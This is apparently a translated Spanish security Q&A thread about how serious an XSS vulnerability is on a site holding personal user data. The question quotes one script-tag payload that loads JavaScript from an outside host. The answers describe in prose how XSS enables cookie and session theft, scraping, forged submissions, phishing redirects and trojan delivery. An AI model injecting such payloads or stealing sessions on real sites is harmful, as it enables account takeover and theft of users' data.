¿Qué tan graves son los ataques XSS?

15

Un sitio web que visito permite que este tipo de ataque se implemente con GET en la URL

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Junto con muchos otros en esta página: enlace

El sitio requiere una cuenta (generalmente pagada) para acceder a esa página, pero igual.

¿Qué tan seria es una preocupación? ¿Y qué tipo de daño podría hacerse al sitio web?

Entiendo que te estoy dando poca información, pero una idea general sería buena. Gracias!

(El sitio web se opera en una gran base de datos con datos confidenciales junto con cuentas de usuario, direcciones, correos electrónicos, etc. [sin tarjetas de crédito]).

    
pregunta jn1kk 21.10.2011 - 17:43
fuente

3 respuestas

16

Cualquier cosa que pueda hacer con javascript como propietario del sitio se puede hacer con un ataque XSS. Eso incluye modificar el DOM . Podría reemplazar una página completa y así controlar todos los datos dentro y fuera del sitio web. Los scripts relativamente simples pueden leer cookies y reenviar información de la sesión. Eso sería como Firesheep a distancia: hacerse pasar por un usuario al obtener sus credenciales de acceso.

Además, esto puede presentar a los visitantes de su sitio cualquier tipo de ataque que afecte a los navegadores.

    
respondido por el Jeff Ferland 21.10.2011 - 18:06
fuente
12

XSS solo no hace mucho daño, pero puede combinarse fácilmente con otras técnicas para formar vectores de ataque poderosos. Algunas posibilidades son:

secuestro de sesión : a menudo, las cookies de sesión se pueden leer desde Javascript. A través de XSS, se puede montar un script que lee el ID de sesión de un usuario y se lo pasa al atacante (un método simple pero efectivo es agregar un elemento img al DOM, donde la URL de la imagen lleva el ID de la sesión); el atacante puede secuestrar una sesión autenticada colocando el ID de sesión en su propia cookie de sesión.

información confidencial sobre raspado : si una página con una vulnerabilidad XSS contiene información confidencial, y envíela al atacante (como la cookie de sesión).

publicar datos en nombre de otra persona : a través de XSS, un envío de formulario puede ser interceptado y modificado, o incluso activado, publicar datos sin el consentimiento del usuario. Por ejemplo, si puede comprometer un cliente de correo web, podría secuestrar el botón 'enviar' para agregarse a la lista de destinatarios.

redireccionamiento malicioso : un script XSS puede alterar las URL de cualquier enlace en la página. Se puede abusar de esto para, por ejemplo, enviar al usuario a una página de inicio de sesión falsificada; En lugar de iniciar sesión, están enviando sus credenciales al atacante.

ingeniería social : al insertar mensajes de error, alertas, etc., puede engañar a los usuarios para que cometan todo tipo de comportamientos inseguros. Por ejemplo, un atacante podría pedir a los usuarios que descarguen y abran un archivo determinado; Si el sitio que les pide que lo haga tenga un alto nivel de confianza con el usuario, es probable que ejecuten de forma acrítica cualquier cosa, lo que permite el montaje de troyanos y otros programas maliciosos.

También tenga en cuenta que muchos vectores de ataque funcionan sin que el usuario abra conscientemente la página comprometida: a menudo, la página comprometida se coloca en un iframe invisible en otro lugar, como un foro que la víctima probablemente visite, o una página vinculada desde sin embargo, en otro lugar.

    
respondido por el tdammers 22.10.2011 - 13:51
fuente
9

Hay dos aspectos:

  • Una vulnerabilidad XSS le permite al atacante hacer cualquier cosa, a la víctima se le permite hacer con el sistema. Si la víctima es un miembro del personal, es probable que tenga acceso a información personal, como direcciones de correo electrónico o datos bancarios. Además, estas cuentas pueden permitir modificar el contenido y reemplazarlo con declaraciones inapropiadas o vulnerabilidades del navegador.

  • Un hack exitoso puede resultar en una cobertura de prensa extremadamente mala. Esto puede ser mucho peor que el daño directo.

respondido por el Hendrik Brummermann 21.10.2011 - 18:01
fuente

Lea otras preguntas en las etiquetas